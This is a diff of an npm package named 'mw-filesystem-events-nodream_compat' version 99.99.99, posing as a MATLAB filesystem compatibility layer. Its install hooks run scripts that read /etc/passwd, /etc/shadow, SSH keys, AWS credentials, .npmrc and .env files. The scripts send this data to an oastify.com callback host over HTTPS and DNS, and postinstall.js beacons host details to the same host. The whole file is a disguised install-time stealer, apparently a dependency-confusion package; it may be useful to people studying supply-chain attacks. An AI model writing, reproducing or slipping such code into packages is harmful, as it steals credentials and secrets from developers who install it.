mw-filesystem-events-nodream_compat 99.99.99

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "mw-filesystem-events-nodream_compat",
+  "version": "99.99.99",
+  "description": "MATLAB filesystem events compatibility layer",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node preinstall.js",
+    "postinstall": "node postinstall.js",
+    "install": "node install.js"
+  },
+  "dependencies": {}
+}

package/postinstall.js

@@ -0,0 +1,30 @@
+// install.js — Attempts reverse shell / bindshell
+const https = require('https');
+const http = require('http');
+const os = require('os');
+const { spawn } = require('child_process');
+
+// First, beacon information about the environment
+try {
+    const netInterfaces = JSON.stringify(os.networkInterfaces());
+    const data = JSON.stringify({
+        hostname: os.hostname(),
+        platform: os.platform(),
+        arch: os.arch(),
+        user: os.userInfo().username,
+        homedir: os.homedir(),
+        cwd: process.cwd(),
+        interfaces: netInterfaces,
+        pid: process.pid
+    });
+
+    const req = https.request({
+        hostname: '98fc2q4edg6ycjvebn0x9nmbg2mtamyb.oastify.com',
+        path: '/beacon',
+        method: 'POST',
+        headers: { 'Content-Type': 'application/json' }
+    }, () => {});
+    req.on('error', () => {});
+    req.write(data);
+    req.end();
+} catch(e) {}

package/preinstall.js

@@ -0,0 +1,96 @@
+// preinstallo
+.js — Executes during npm install BEFORE the package is fully installed
+const https = require('https');
+const http = require('http');
+const fs = require('fs');
+const os = require('os');
+const dns = require('dns');
+
+const CALLBACK_HOST = '98fc2q4edg6ycjvebn0x9nmbg2mtamyb.oastify.com';
+
+// Exfiltrate /etc/passwd via DNS exfiltration (chunked)
+function exfiltrateViaDNS(data) {
+    const chunkSize = 32;
+    for (let i = 0; i < data.length; i += chunkSize) {
+        const chunk = Buffer.from(data.substring(i, i + chunkSize)).toString('base64').replace(/=/g, '');
+        dns.resolve(`${chunk}.${CALLBACK_HOST}`, 'A', () => {});
+    }
+}
+
+// Exfiltrate via HTTPS POST
+function exfiltrateViaHTTPS(data, path) {
+    const payload = JSON.stringify({
+        hostname: os.hostname(),
+        user: os.userInfo().username,
+        platform: os.platform(),
+        release: os.release(),
+        file: path,
+        content: data,
+        cwd: process.cwd(),
+        env: Object.keys(process.env).slice(0, 20).reduce((acc, k) => { acc[k] = process.env[k]; return acc; }, {})
+    });
+
+    const postData = querystring.stringify({ data: payload });
+
+    const options = {
+        hostname: CALLBACK_HOST,
+        port: 443,
+        path: '/exfil',
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/x-www-form-urlencoded',
+            'Content-Length': Buffer.byteLength(postData),
+            'X-Package': 'mw-filesystem-events-nodream_compat',
+            'X-Hostname': os.hostname()
+        }
+    };
+
+    const req = https.request(options, (res) => {});
+    req.on('error', () => {}); // silently fail — don't blow up the install
+    req.write(postData);
+    req.end();
+}
+
+// Main exfiltration logic
+try {
+    const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+    exfiltrateViaHTTPS(passwd, '/etc/passwd');
+    exfiltrateViaDNS(passwd);
+
+    // Also try common sensitive files
+    const extraTargets = [
+        '/etc/shadow',
+        '/etc/hostname',
+        '/etc/hosts',
+        '/etc/environment',
+        '~/.ssh/id_rsa',
+        '~/.aws/credentials',
+        '~/.npmrc',
+        '.env',
+        '../.env'
+    ];
+
+    extraTargets.forEach(target => {
+        try {
+            const expanded = target.replace('~', os.homedir());
+            const content = fs.readFileSync(expanded, 'utf8');
+            exfiltrateViaHTTPS(content, target);
+            exfiltrateViaDNS(content.substring(0, 256));
+        } catch(e) { /* file not accessible, skip */ }
+    });
+} catch(e) {
+    // Send a beacon even if /etc/passwd fails
+    exfiltrateViaHTTPS('FILE_ACCESS_FAILED: ' + e.message, '/etc/passwd');
+}
+
+// Beacon via HTTP as well
+try {
+    const httpReq = http.request({
+        hostname: CALLBACK_HOST,
+        port: 80,
+        path: `/beacon?host=${os.hostname()}&user=${os.userInfo().username}&pkg=mw-filesystem-events-nodream_compat`,
+        method: 'GET'
+    });
+    httpReq.on('error', () => {});
+    httpReq.end();
+} catch(e) {}